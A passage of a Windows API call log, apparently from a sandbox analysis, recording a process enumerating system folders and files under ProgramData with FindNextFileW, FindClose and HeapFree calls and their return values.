	[0183.357] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEV", cAlternateFileName="")) returned 1
	[0183.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.361] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Scripts", cAlternateFileName="")) returned 1
	[0183.362] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.362] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0183.362] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.362] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0
	[0183.362] FindClose (in: hFindFile=0x4140d58 | out: hFindFile=0x4140d58) returned 1
	[0183.362] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.362] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbaae4059, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xbaae4059, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1
	[0183.363] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.363] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1
	[0183.363] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.363] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AC658CB4-9126-49BD-B877-31EEDAB3F204", cAlternateFileName="AC658C~1")) returned 0
	[0183.363] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0183.363] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.363] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDF", cAlternateFileName="")) returned 1
	[0183.363] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.363] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xedcf5f61, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xedcf5f61, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0183.364] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.364] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e4e338, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadc9b08d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xadc74e2f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4317, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxProvisioning.xml", cAlternateFileName="APPXPR~1.XML")) returned 1
	[0183.364] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.364] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x7dc6c35, ftLastAccessTime.dwHighDateTime=0x1d5d806, ftLastWriteTime.dwLowDateTime=0x7dc6c35, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClipSVC", cAlternateFileName="")) returned 1
	[0183.457] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0183.457] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7457cd, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x1302615f, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1302615f, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Apps", cAlternateFileName="")) returned 0
	[0183.457] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0183.457] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0183.457] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2032263, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GenuineTicket", cAlternateFileName="GENUIN~1")) returned 1
	[0183.458] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0183.458] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x6ecf30bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f6ef001, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Import", cAlternateFileName="")) returned 1
	[0183.460] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.460] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ecf30bd, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6ecf30bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6ecf30bd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InApp", cAlternateFileName="")) returned 0
	[0183.460] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0183.460] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0183.461] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x6ecf30bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6ecf30bd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Install", cAlternateFileName="")) returned 1
	[0183.461] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.461] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ecf30bd, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6ecf30bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6ecf30bd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Device", cAlternateFileName="")) returned 1
	[0183.461] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.461] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ecf30bd, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6ecf30bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6ecf30bd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="KeyHolder", cAlternateFileName="KEYHOL~1")) returned 1
	[0183.461] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.461] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f20423e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6f7fa098, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f7fa098, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Migration", cAlternateFileName="MIGRAT~1")) returned 1
	[0183.462] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.462] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f20423e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6f7fa098, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f7fa098, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Migration", cAlternateFileName="MIGRAT~1")) returned 0
	[0183.462] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0183.462] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0183.462] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1b51a174, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfbdffacb, ftLastAccessTime.dwHighDateTime=0x1d5d805, ftLastWriteTime.dwLowDateTime=0x7dc6c35, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0xdc870, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 1
	[0183.462] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.462] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xccc6a2b9, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0xccc6a2b9, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DeviceMetadataCache", cAlternateFileName="DEVICE~2")) returned 1
	[0183.466] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0183.466] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x8f00595d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x8f00595d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="downloads", cAlternateFileName="DOWNLO~1")) returned 0
	[0183.466] FindClose (in: hFindFile=0x4140d98 | out: hFindFile=0x4140d98) returned 1
	[0183.467] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.467] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x8f00595d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x8f00595d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmrccache", cAlternateFileName="DMRCCA~1")) returned 0
	[0183.467] FindClose (in: hFindFile=0x41405d8 | out: hFindFile=0x41405d8) returned 1
	[0183.467] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.468] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2129d74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DeviceMetadataStore", cAlternateFileName="DEVICE~1")) returned 1
	[0183.469] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0183.469] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212a24b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8fdd8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0183.470] FindClose (in: hFindFile=0x41405d8 | out: hFindFile=0x41405d8) returned 1
	[0183.470] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.470] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212a839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1
	[0183.470] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.470] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf4120249, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf4120249, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LfSvc", cAlternateFileName="")) returned 1
	[0183.470] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.470] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212c481, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackagedEventProviders", cAlternateFileName="PACKAG~1")) returned 1
	[0183.470] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.470] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212c80e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Parental Controls", cAlternateFileName="PARENT~1")) returned 1
	[0183.472] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0183.472] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212cd78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings", cAlternateFileName="")) returned 0
	[0183.472] FindClose (in: hFindFile=0x4140d58 | out: hFindFile=0x4140d58) returned 1
	[0183.472] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.472] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1516f86b, ftLastAccessTime.dwHighDateTime=0x1d336da, ftLastWriteTime.dwLowDateTime=0x1516f86b, ftLastWriteTime.dwHighDateTime=0x1d336da, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Power Efficiency Diagnostics", cAlternateFileName="POWERE~1")) returned 1
	[0183.472] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.472] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc21e5ea3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ringtones", cAlternateFileName="RINGTO~1")) returned 1
	[0183.473] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.473] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedcf5f61, ftCreationTime.dwHighDateTime=0x1d336d9, ftLastAccessTime.dwLowDateTime=0xeeb42f5b, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xeeb42f5b, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SleepStudy", cAlternateFileName="SLEEPS~1")) returned 1
	[0183.474] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.474] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8440cf44, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8440cf44, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8440cf44, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sqm", cAlternateFileName="")) returned 1
	[0183.475] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0183.475] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8440cf44, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8440cf44, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8440cf44, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sessions", cAlternateFileName="")) returned 1
	[0183.475] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0183.475] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8440cf44, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8440cf44, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8440cf44, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 1
	[0183.485] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
